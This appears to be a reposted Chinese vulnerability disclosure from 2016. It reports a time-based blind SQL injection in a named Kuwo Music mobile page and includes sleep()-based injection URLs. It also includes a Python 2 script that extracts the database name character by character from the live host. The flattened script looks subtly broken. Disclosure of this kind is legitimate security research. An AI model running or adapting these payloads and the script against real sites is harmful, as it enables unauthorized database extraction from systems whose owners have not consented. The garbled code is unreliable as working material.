神刀安全网

漏洞标题: 酷我音乐某站存在SQL注入(附验证脚本)

漏洞详情

披露状态:

2016-04-29: 细节已通知厂商并且等待厂商处理中
2016-05-02: 厂商已经确认,细节仅向厂商公开
2016-05-12: 细节向核心白帽子及相关领域专家公开
2016-05-22: 细节向普通白帽子公开
2016-06-01: 细节向实习白帽子公开
2016-06-16: 细节向公众公开

简要描述:

来一发

详细说明:

http://mobile.kuwo.cn/mpage/special/oldSpecail.jsp?specialType=(if(1=2,sleep(5),2))&nowId=1033

(if(1=1,sleep(5),2)):

Error 503 Service Unavailable

(if(1=2,sleep(5),2)):

返回200

database() is EDITOR

漏洞证明:

漏洞标题:  酷我音乐某站存在SQL注入(附验证脚本)

code 区域
# -*- coding: utf8 -*-
#encoding=utf-8

import httplib

import time

import string

import sys



headers = {

'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',

'Referer': 'http://ldj.db.17173.com',

}



payloads = list('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.')



print '[%s] Start to retrive MySQL database()' % time.strftime('%H:%M:%S', time.localtime())

database = ''

for i in range(1,7,1):

for payload in payloads:

try:

conn = httplib.HTTPConnection('mobile.kuwo.cn', timeout=20)
conn.request(method='GET', url="/mpage/special/oldSpecail.jsp?specialType=(if(ascii(substr(database(),"+str(i)+",1))="+str(ord(payload))+",sleep(10),1))")

status = conn.getresponse().status

conn.close()

except Exception, e:
print e
database += payload

print '/r[+]Running:' ,database

time.sleep(0.01)

break



print ''

print 'database() is', database

修复方案:

预编译处理

版权声明:转载请注明来源 Vinc@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 酷我音乐某站存在SQL注入(附验证脚本)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址